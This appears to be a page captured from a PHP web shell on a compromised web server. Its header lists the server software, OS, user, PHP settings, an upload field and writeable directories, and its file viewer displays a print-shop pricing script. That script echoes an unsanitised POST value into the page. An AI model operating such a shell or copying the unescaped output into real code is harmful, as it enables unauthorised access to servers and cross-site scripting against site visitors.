KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/vangoghagainweb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/vangoghagainweb/priceFunctions.php
<?php 
//pricing
$stretchPrice=array(0, 5, 5.5, 4.5); //stretch prices include masonite mount (none, thin, thick, masonite)
$coatingPrice=array(0, .015);
$printPrice1=.13;
$printPrice2=.12;
$printPrice3=.11;

$h=$_POST['h'];
$w=$_POST['w'];

switch($_POST['a']){
	case 'r':
		break;
		
	case 'c':
		$addedSize='';
		if($_POST['s'] != 2){
			$useH=$h;
			$useW=$w;
		}
		else{
			$useH=$h+3;
			$useW=$w+3;
			$addedSize=' (includes 3 extra inches for gallery wrap)';
		}
		$sqInch=$useH*$useW;
		
		//set label for stretcher or masonite mount
		if($_POST['s'] != 3){
			$finishingLabel='Canvas Stretching: $';
		}
		else{
			$finishingLabel='Masonite Mounting: $';
		}

		if($_POST['q'] < 5){
			$usePrice=$printPrice1;
		}
		else{
			if($_POST['qOp'] == 1){
				$usePrice=$printPrice3;
			}
			else{
				$usePrice=$printPrice2;
			}
		}

		$printCost=number_format($usePrice*($useH*$useW), 2);
		$coatingCost=number_format($sqInch*$coatingPrice[$_POST['c']], 2);

		$linearFeet=($h*2)+($w*2);
		//$stretchCost var used for stretcher or masonite mount.
		$stretchCost=number_format(($linearFeet*$stretchPrice[$_POST['s']])/12, 2);

		$printPriceEach=$printCost+$coatingCost+$stretchCost;


		echo 'Height: '.$useH.$addedSize.'<br>';
		echo 'Width: '.$useW.$addedSize.'<br>';
		echo 'Square Inches: '.$sqInch.'<br>';
		echo '<br>Price Breakdown Per Print<br>';
		echo 'Print: $'.$printCost.'<br>';
		if($coatingCost > 0){
			echo 'UV Coating: $'.$coatingCost.'<br>';
		}
		if($stretchCost > 0){
			echo $finishingLabel.$stretchCost.'<br><br>';
		}
		echo 'Total Price Each Print: $'.number_format($printPriceEach, 2).'<br>';
		echo 'Qty: '.$_POST['q'].'<br>';
		echo 'Total: $'.number_format(($printPriceEach*$_POST['q']), 2).'<br>';
		break;
		
}
	
	

Anon7 - 2021